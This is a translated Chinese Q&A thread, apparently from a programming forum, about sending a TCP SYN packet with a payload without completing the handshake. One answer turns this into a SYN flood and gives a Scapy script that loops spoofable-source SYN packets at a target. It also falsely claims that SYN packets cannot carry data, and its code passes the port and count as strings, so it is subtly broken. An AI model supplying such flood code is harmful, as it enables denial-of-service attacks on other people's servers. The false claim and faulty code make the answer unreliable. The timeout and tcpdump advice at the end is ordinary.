我有一个简单的代码:
import socket
ip = "myip"
port = myport
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,port))
print("SYN packet sent.")
如果我运行它,它永远不会到达打印,所以它永远不会完成连接,这是因为我想连接的IP没有打开那个端口。
事实上,我不想完成连接,只需要发送SYN请求。
此外,我还需要发送带有长度的数据包。如果我用hping3进行测试并探查发送的syn数据包,我会发现有一个100长度的有效载荷。如何将此有效载荷"添加"到数据包中?
我该怎么做?
据我所知,您想要的是TCP SYN洪水,使用Scapy Library可能是最好的选择。这可以通过类似以下代码来实现:
from scapy.all import *
def flood(src_ip, dst_ip, dst_port, amount):
ip = IP(src=src_ip, dst=dst_ip)
for i in range(0, amount):
src_port = random.randint(20, 65000)
transport = TCP(sport=src_port, dport=dst_port, flags="S")
send(ip/transport)
if __name__ == '__main__':
flood('x.x.x.x', 'x.x.x.x', '443', '1000')
如上所述,重要的是要注意,不能在SYN数据包中发送数据。
如果您不想等待响应,可以使用socket.settimeout
。
下面是一个设置5秒超时的示例:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
s.connect((ip, port))
except socket.timeout:
pass
另一种解决方案,尽管更困难,是使用原始套接字手动发送数据包。
您可以使用诸如tcpdump:之类的工具来验证您的数据包是否确实在发送
$ tcpdump 'tcp port 5005'